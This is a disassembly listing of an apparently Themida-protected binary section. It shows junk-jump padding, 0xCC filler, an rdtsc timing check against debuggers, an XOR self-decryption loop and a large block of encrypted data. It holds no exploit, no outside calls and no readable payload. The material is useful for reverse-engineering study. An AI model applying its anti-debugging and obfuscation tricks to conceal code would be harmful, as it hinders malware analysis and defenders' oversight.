		jb	short near ptr loc_607E88+1
		db	66h, 26h	; CODE XREF: Themida_:00607F3Cj
		jb	short near ptr loc_607E8C+1
		db	66h, 26h	; CODE XREF: Themida_:00607F40j
		jb	short near ptr loc_607E90+1
		db	66h, 26h	; CODE XREF: Themida_:00607F44j
		jb	short near ptr loc_607E94+1
		db	66h, 26h	; CODE XREF: Themida_:00607F48j
		jb	short near ptr loc_607E98+1
		db	66h, 26h	; CODE XREF: Themida_:00607F4Cj
		jb	short near ptr loc_607E9C+1
		db	66h, 26h	; CODE XREF: Themida_:00607F50j
		jb	short near ptr loc_607EA0+1
		db	66h, 26h	; CODE XREF: Themida_:00607F54j
		jb	short near ptr loc_607EA4+1
		db	66h, 26h	; CODE XREF: Themida_:00607F58j
		jb	short near ptr loc_607EA8+1
		db	66h, 26h	; CODE XREF: Themida_:00607F5Cj
		jb	short near ptr loc_607EAC+1
		db	66h, 26h	; CODE XREF: Themida_:00607F60j
		jb	short near ptr loc_607EB0+1
		db	66h, 26h	; CODE XREF: Themida_:00607F64j
		jb	short near ptr loc_607EB4+1
		db	66h, 26h	; CODE XREF: Themida_:00607F68j
		jb	short near ptr loc_607EB8+1
		db	66h, 26h	; CODE XREF: Themida_:00607F6Cj
		jb	short near ptr loc_607EBC+1
		db	66h, 26h	; CODE XREF: Themida_:00607F70j
		jb	short near ptr loc_607EC0+1
		db	66h, 26h	; CODE XREF: Themida_:00607F74j
		jb	short near ptr loc_607EC4+1
		db	66h, 26h	; CODE XREF: Themida_:00607F78j
		jb	short near ptr loc_607EC8+1
		db	66h, 26h	; CODE XREF: Themida_:00607F7Cj
		jb	short near ptr loc_607ECC+1
		db	66h, 26h	; CODE XREF: Themida_:00607F80j
		jb	short near ptr loc_607ED0+1
		db	66h, 26h	; CODE XREF: Themida_:00607F84j
		jb	short near ptr loc_607ED4+1
		db	66h, 26h	; CODE XREF: Themida_:00607F88j
		jb	short near ptr loc_607ED8+1
		db	66h, 26h	; CODE XREF: Themida_:00607F8Cj
		jb	short near ptr loc_607EDC+1
		db	66h, 26h	; CODE XREF: Themida_:00607F90j
		jb	short near ptr loc_607EE0+1
		db	66h, 26h	; CODE XREF: Themida_:00607F94j
		jb	short near ptr loc_607EE4+1
		db	66h, 26h	; CODE XREF: Themida_:00607F98j
		jb	short near ptr loc_607EE8+1
		db	66h, 26h	; CODE XREF: Themida_:00607F9Cj
		jb	short near ptr loc_607EEC+1
		db	66h, 26h	; CODE XREF: Themida_:00607FA0j
		jb	short near ptr loc_607EF0+1
		db	66h, 26h	; CODE XREF: Themida_:00607FA4j
		jb	short near ptr loc_607EF4+1
		db	66h, 26h	; CODE XREF: Themida_:00607FA8j
		jb	short near ptr loc_607EF8+1
		db	66h, 26h	; CODE XREF: Themida_:00607FACj
		jb	short near ptr loc_607EFC+1
		db	66h, 26h	; CODE XREF: Themida_:00607FB0j
		jb	short near ptr loc_607F00+1
		db	66h, 26h	; CODE XREF: Themida_:00607FB4j
		jb	short near ptr loc_607F04+1
		db	66h, 26h	; CODE XREF: Themida_:00607FB8j
		jb	short near ptr loc_607F08+1
		db	66h, 26h	; CODE XREF: Themida_:00607FBCj
		jb	short near ptr loc_607F0C+1
		db	66h, 26h	; CODE XREF: Themida_:00607FC0j
		jb	short near ptr loc_607F10+1
		db	66h, 26h	; CODE XREF: Themida_:00607FC4j
		jb	short near ptr loc_607F14+1
		db	66h, 26h	; CODE XREF: Themida_:00607FC8j
		jb	short near ptr loc_607F18+1
		db	66h, 26h	; CODE XREF: Themida_:00607FCCj
		jb	short near ptr loc_607F1C+1
		db	66h, 26h	; CODE XREF: Themida_:00607FD0j
		jb	short near ptr loc_607F20+1
		db	66h, 26h	; CODE XREF: Themida_:00607FD4j
		jb	short near ptr loc_607F24+1
		db	66h, 26h	; CODE XREF: Themida_:00607FD8j
		jb	short near ptr loc_607F28+1
		db	66h, 26h	; CODE XREF: Themida_:00607FDCj
		jb	short near ptr loc_607F2C+1
		db	66h, 26h	; CODE XREF: Themida_:00607FE0j
		jb	short near ptr loc_607F30+1
		db	66h, 26h	; CODE XREF: Themida_:00607FE4j
		jb	short near ptr loc_607F34+1
		db	66h, 26h	; CODE XREF: Themida_:00607FE8j
		jb	short near ptr loc_607F38+1
		db	66h, 26h	; CODE XREF: Themida_:00607FECj
		jb	short near ptr loc_607F3C+1
		db	66h, 26h	; CODE XREF: Themida_:00607FF0j
		jb	short near ptr loc_607F40+1
		db	66h, 26h	; CODE XREF: Themida_:00607FF4j
		jb	short near ptr loc_607F44+1
		db	66h, 26h	; CODE XREF: Themida_:00607FF8j
		jb	short near ptr loc_607F48+1
		db	66h, 26h	; CODE XREF: Themida_:00607FFCj
		jb	short near ptr loc_607F4C+1
		db	66h, 26h	; CODE XREF: Themida_:00608000j
		jb	short near ptr loc_607F50+1
		db	66h, 26h	; CODE XREF: Themida_:00608004j
		jb	short near ptr loc_607F54+1
		db	66h, 26h	; CODE XREF: Themida_:00608008j
		jb	short near ptr loc_607F58+1
		db	66h, 26h	; CODE XREF: Themida_:0060800Cj
		jb	short near ptr loc_607F5C+1
		db	66h, 26h	; CODE XREF: Themida_:00608010j
		jb	short near ptr loc_607F60+1
		db	66h, 26h	; CODE XREF: Themida_:00608014j
		jb	short near ptr loc_607F64+1
		db	66h, 26h	; CODE XREF: Themida_:00608018j
		jb	short near ptr loc_607F68+1
		db	66h, 26h	; CODE XREF: Themida_:0060801Cj
		jb	short near ptr loc_607F6C+1
		db	66h, 26h	; CODE XREF: Themida_:00608020j
		jb	short near ptr loc_607F70+1
		db	66h, 26h	; CODE XREF: Themida_:00608024j
		jb	short near ptr loc_607F74+1
		db	66h, 26h
		jb	short near ptr loc_607F78+1
		db	66h, 26h
		jb	short near ptr loc_607F7C+1
		db	66h, 26h
		jb	short near ptr loc_607F80+1
		db	66h, 26h
		jb	short near ptr loc_607F84+1
		db	66h, 26h
		jb	short near ptr loc_607F88+1
		db	66h, 26h
		jb	short near ptr loc_607F8C+1
		db	66h, 26h
		jb	short near ptr loc_607F90+1
		db	66h, 26h
		jb	short near ptr loc_607F94+1
		db	66h, 26h
		jb	short near ptr loc_607F98+1
		db	66h, 26h
		jb	short near ptr loc_607F9C+1
		db	66h, 26h
		jb	short near ptr loc_607FA0+1
		db	66h, 26h
		jb	short near ptr loc_607FA4+1
		db	66h, 26h
		jb	short near ptr loc_607FA8+1
		db	66h, 26h
		jb	short near ptr loc_607FAC+1
		db	66h, 26h
		jb	short near ptr loc_607FB0+1
		db	66h, 26h
		jb	short near ptr loc_607FB4+1
		db	66h, 26h
		jb	short near ptr loc_607FB8+1
		db	66h, 26h
		jb	short near ptr loc_607FBC+1
		db	66h, 26h
		jb	short near ptr loc_607FC0+1
		db	66h, 26h
		jb	short near ptr loc_607FC4+1
		db	66h, 26h
		jb	short near ptr loc_607FC8+1
		db	66h, 26h
		jb	short near ptr loc_607FCC+1
		db	66h, 26h
		int	3		; Trap to Debugger
; ---------------------------------------------------------------------------
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'лллллллл',0
		align 4
		dd 2DFh	dup(0)
		db 90h
; ---------------------------------------------------------------------------
		call	sub_60B021
; START	OF FUNCTION CHUNK FOR sub_60B021


loc_60B006:				; CODE XREF: sub_60B021+38j
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_60B021

; =============== S U B	R O U T	I N E =======================================



sub_60B008	proc near		; CODE XREF: sub_60B021:loc_60B037p
					; sub_60B021+1Dp
		rdtsc
		retn
sub_60B008	endp


; =============== S U B	R O U T	I N E =======================================



sub_60B00B	proc near		; CODE XREF: sub_60B021+4Ap
		push	ebx
		mov	ecx, 0C99h
		mov	ebx, edx


loc_60B013:				; CODE XREF: sub_60B00B+10j
		xor	[eax], dx
		add	edx, ebx
		lea	eax, [eax+2]
		loop	loc_60B013
		pop	ebx

locret_60B01E:				; CODE XREF: sub_60B021+Ej
					; sub_60B021+10j ...
		retn
sub_60B00B	endp

; ---------------------------------------------------------------------------
		cli
		push	ecx

; =============== S U B	R O U T	I N E =======================================



sub_60B021	proc near		; CODE XREF: Themida_:0060B001p

; FUNCTION CHUNK AT 0060B006 SIZE 00000002 BYTES

		test	eax, eax
		jnz	short loc_60B029
		int	2Ch		; Internal routine for MSDOS (IRET)
		jmp	short loc_60B037
; ---------------------------------------------------------------------------


loc_60B029:				; CODE XREF: sub_60B021+2j
		mov	dx, cs
		shl	ebx, 0Ah
		js	short locret_60B01E
		jnb	short locret_60B01E
		cmp	dh, bh
		jz	short locret_60B01E


loc_60B037:				; CODE XREF: sub_60B021+6j
		call	sub_60B008
		mov	ebx, eax
		call	sub_60B008
		neg	ebx
		push	ebp
		add	eax, ebx
		mov	ebp, [esp+4]
		sub	dword ptr [esp+4], 0F7FF2h
		sub	eax, 100h
		jnb	short loc_60B006
		sub	ebp, 201006h
		lea	eax, [ebp+201070h]
		mov	dx, [eax-51h]
		call	sub_60B00B
		adc	[ecx+7Fh], edx
		dec	edx
		std
		imul	esp, [edx-4FEBDC97h], 90C2EBBCh
		xchg	eax, ebp
		int	3		; Trap to Debugger
		mov	dl, 55h
		test	[eax+5DC2B2D7h], ebp
		lock in	eax, 0F1h	; AT 80287 Reset.
					; Coprocessor is reset from protected mode to real mode
		sub	ecx, [ebx-7Eh]
		or	[ecx], ebx
		xlat
		xchg	eax, esp
		sahf
		retn	97Fh
sub_60B021	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		dw 5A5Ch
		dd 2EDDAE75h, 30620216h, 833CC11Fh, 0C2BFAB5Ah,	0C0BFB8AFh
		dd 0C738B8C5h, 0C0C47A5h, 2845C558h, 0CBA772E5h, 0F8FF2244h
		dd 1B1043CAh, 0FDEC68F2h, 3FAC7883h, 7091C4A9h,	0A6BA3BBCh
		dd 0B5EF0BC1h, 44351560h, 7AA46083h, 3698E493h,	0BBE9FAD1h
		dd 8C549F2h, 6300BE1Fh,	1097276Eh, 43FA9DEBh, 2B8BC76h
		dd 0F144604Ah, 334B6B52h, 9E42C97Ah, 0CD20294Ah, 0C79D26E5h
		dd 0E628BDACh, 89F83BEAh, 22305EF6h, 2E1A9E6Eh,	0E0277321h
		dd 19ECEE78h, 38CFAB43h, 61B40C7Bh, 10E0162Dh, 2A9C5782h
		dd 6D85B733h, 54079F8Ah, 9558562Eh, 0BCAAB072h,	0DD40990Dh
		dd 2FE1A65Bh, 0A848F367h, 0E929F4F7h, 0E0F92836h, 310D0197h
		dd 5D3BD21Eh, 590C04FAh, 0FDBD2B59h, 0A1F46EEFh, 4482E89Bh
		dd 0C12E031Dh, 3BDF3AF6h, 0BD3ACC8Ah, 0D49897BEh, 6DADA33Bh
		dd 1B4BCA86h, 0D595CB19h, 9B8812AEh, 2856B417h,	0B3989B76h
		dd 50B07A65h, 0B3D3A25Eh, 9B0C2C46h, 2C408285h,	65BD863Ah
		dd 84081B98h, 2842F64Ah, 33101016h, 502E5C9Fh, 1C3844FEh
		dd 0B7EF4D76h, 0EE6D9EE6h, 0FFF4BDDAh, 2B71BE45h, 0C6BCF5C5h
		dd 0CBA0995Bh, 6431B0AAh, 0C098C18Fh, 546E7A37h, 870B096Ah
		dd 0DF47C510h, 88FDFC37h, 945C3578h, 82AC32FDh,	0E8BA4D1Dh
		dd 50505622h, 82CA432h,	0BB09FFB3h, 1FD06E1Ah, 6707518Bh
		dd 86FC37DBh, 40F0B261h, 0CAE414EBh, 72B0A0DEh,	0E9CCC5D2h
		dd 9AE9DE53h, 517489BAh, 2AA0C2Ah, 0F69C3EA2h, 4E90F8FEh
		dd 2F84F68Ah, 0F82F4C96h, 3704B473h, 25608966h,	5E7D9ACFh
		dd 2242B84Eh, 53C37443h, 6A103180h, 0E24B9C2h, 0B093891Eh
		dd 56660412h, 900A4B5Fh, 0A761B4F0h, 0AAE8CFC4h, 585F5013h
		dd 89F01E0Ch, 4340D4CAh, 39B87FBCh, 75AC23B4h, 55E493E8h
		dd 286B6BD6h, 61A8267Ch, 1206060Fh, 60435756h, 672E46E7h
		dd 0FDE99F7Eh, 97EAABC1h, 84C3E746h, 0DD14A14Ch, 0BBAC202Eh
		dd 0AE1CD320h, 0E93A3993h, 6C74E40Ah, 39ED3B71h, 96D62D2h
		dd 58C02FF3h, 0FCD45525h, 0A2D3C9C1h, 0C137F2C2h, 0E890BCE4h
		dd 3A54A55h, 10B1BC1Bh,	0B6310392h, 878006AFh, 1374CA85h
		dd 0C06992E9h, 32D19962h, 0EB50967Ch, 0AD35A553h, 79577BB1h
		dd 49ADA212h, 98006F49h, 3C1415E5h, 0E1D30901h,	65143202h
		dd 0AAF0D5F7h, 0EBCEB557h, 51796DEh, 0EC1537D2h, 564361B6h
		dd 58F463B9h, 0FFC2FA57h, 161149C8h, 47B0E0F1h,	0EB848533h
		dd 0C27CB07Eh, 0CC931E8Ch, 0D3ED2E00h, 7B542917h, 92E3AB4Eh
		dd 0F1977505h, 0CC56B9D2h, 0DFAF42C8h, 8F705D74h, 0D80C014Ch
		dd 7C00CFCAh, 0F2F4223Eh, 36E8ECEEh, 0B08DD088h, 79803ABCh
		dd 0AEE825Fh, 0A3B24BEh, 2C8C48F2h, 0C22BC4A6h,	761F68F0h
		dd 5EE208E4h, 682EB2E8h, 0F8503C76h, 4A0EF86Ah,	0BEA7F60Fh
		dd 0B812D5ADh, 6F1FE466h, 5E3B77BFh, 7E282D13h,	321C65AFh
		dd 4EA97436h, 0E104180Dh, 8C5D4811h, 91FC5F1Fh,	80658EE6h
		dd 6D487C9h, 9E5DC62Eh,	13BCCFDBh, 0CFA20649h, 9F4C378Ah
		dd 6198DB9Eh, 0A4E710FDh, 1CF273F6h, 7C18AE0Ch,	0DC3E0E09h
		dd 20397A0Eh, 90AFE356h, 0A9647EE4h, 648A7EB7h,	0A57C9F12h
		dd 6A4A634Ch, 137672E5h, 1D8D8B2Eh, 16C35A5Dh, 72A6D09Ch
		dd 0C98EA261h, 6CC9F28Ch, 759FBED2h, 0C1A20782h, 31C656DDh
		dd 99C4C3D8h, 0F69C2BC5h, 6D226769h, 2C0F96AAh,	0DC2E6C28h
		dd 0A5938924h, 0D440A82Ch, 2F44E2D9h, 35EA5FB1h, 0C0566E62h
		dd 0F1CF105Ch, 8049FF0h, 0AC1972A7h, 0B1276912h, 0A024AE8Fh
		dd 0B561BAADh, 8E8C9C4h, 65790E14h, 83D011FCh, 0B23B829Eh
		dd 0CB985398h, 33D8DD37h, 175E42E0h, 0C36B8BE8h, 5BE201AAh
		dd 6A8387E8h, 0A3507B68h, 9B1035EFh, 0EF8F71CDh, 467F3D52h
		dd 0A7002D7h, 0F71E3FBFh, 0FA005C2Eh, 1F0CB1E3h, 93442116h
		dd 3754445Ch, 0D86D47ADh, 2BEC7CDBh, 5D945926h,	0FEF0D025h
		dd 0B072CD41h, 0B554ECE2h, 0B14F6F4Bh, 0AF06A155h, 0B273D8BEh
		dd 0CFA4B813h, 8DD72086h, 365D66EFh, 18FD976Eh,	0B75C2C4Bh
		dd 0FDAF4B50h, 0A644544Ah, 830BA23Eh, 0BF7DCD63h, 9620414Eh
		dd 67D06F1Ah, 5104E25Eh, 2B3F7EC6h, 21A4B993h, 3A1B9302h
		dd 724D9A21h, 5FCC9BC7h, 4E900E97h, 759DA52Fh, 0D96C24AEh
		dd 9DD5C661h, 41C8B7CEh, 0E5848DAAh, 89782740h,	2D6CDB73h
		dd 0D1607F66h, 7554235Ah, 0E61B911Fh, 9D15C5D7h, 0CD69A436h
		dd 0FE5173AEh, 0F5DBB9FCh, 287F9A50h, 946DFE48h, 0FE960D9Eh
		dd 4B9C858Bh, 0BFB9D9BEh, 0F2B978A2h, 48C4A7BEh, 0ABCA02CDh
		dd 0AC6ED3h, 7CD2CAD5h,	0F7940CFFh, 2CE963FCh, 9015ECE7h
		dd 0E3700F13h, 30059718h, 8431D03Bh, 0FC2D7737h, 572EB736h
		dd 0A677827Bh, 1D5C474Bh, 7F73B872h, 81631D73h,	176510Ah
		dd 559DC19Fh, 0DF833497h, 3D88A983h, 0F3B0C0BFh, 0F6AD378Dh
		dd 53E88CB6h, 0BBD1E8C4h, 0E6D672AAh, 73FDA1FFh, 0A3E016FDh
		dd 5CF071E3h, 721A9248h, 0D800161Eh, 23190916h,	9704D93Fh
		dd 0C7253438h, 335DB23Eh, 8E40F074h, 0FD544967h, 47618373h
		dd 0D749F66Bh, 3C884C45h, 4D95A09Fh, 0C2810A83h, 20AC7199h
		dd 5EA9D4BBh, 0AEA531AFh, 1FC065FDh, 9ADDC0C1h,	0F6F50EC7h
		dd 53F1A2F3h, 0A584D1EFh, 0E935401Bh, 4F00AD16h, 0AA0E1D2Eh
		dd 72154536h, 453CA109h, 0DF481B3Bh, 2C59485Bh,	6D50D34Fh
		dd 0A6592D6Ch, 1E789D55h, 0A870F163h, 0DF915393h, 748D8E8Fh
		dd 0ADB9C0E2h, 0DBD4E82h, 49B0AE9Ah, 0A0FF73FFh, 1BC941C6h
		dd 63CFD2D5h, 0C5F1189Ah, 26FA66D8h, 0BC12C8EBh, 0DA700A0Eh
		dd 2E329B0Fh, 8035E632h, 0E62A591Bh, 5921B634h,	905A1053h
		dd 1A44642Eh, 5870A640h, 0DE7F077Ah, 6B430Ah, 6691FE9Ah
		dd 0D19E3780h, 2DADFAA7h, 95BDC8AAh, 0D2AE0DB9h, 38D98AABh
		dd 0B2D5FAF9h, 0E5C847ECh, 54E8B3D3h, 89EB18FBh, 9F05586h
		dd 7F06EE14h, 0C71B070Dh, 372E5662h, 8F23CF35h,	0C9027C79h
		dd 444C814Ch, 8B43E462h, 0BF534943h, 48719028h,	0B15A827Ah
		dd 1EBA4263h, 48F0AC9Ah, 0D6A2198Fh, 179974B2h,	65A5C7A6h
		dd 0D8A52DB3h, 2AE7FDFBh, 9FC1E7DAh, 0FEF315C7h, 49F59DF8h
		dd 0ABE1DE8Ah, 0E6145838h, 4201BC26h, 0AE0C2A66h, 3A546D3Fh
		dd 6329AC20h, 0C0590C14h, 32766F79h, 0A924C846h, 0D66C2377h
		dd 2B4D9973h, 0EB63F66Ah, 0FA9D4EADh, 5E81A68Bh, 0A2928487h
		dd 0FBA4C97h, 6C94B8B9h, 0AED106D7h, 15C973D7h,	6FCBD7F2h
		dd 0DADA5CF4h, 33ED72CDh, 9F3AC1F6h, 0D4702D1Ah, 5B16AF1Eh
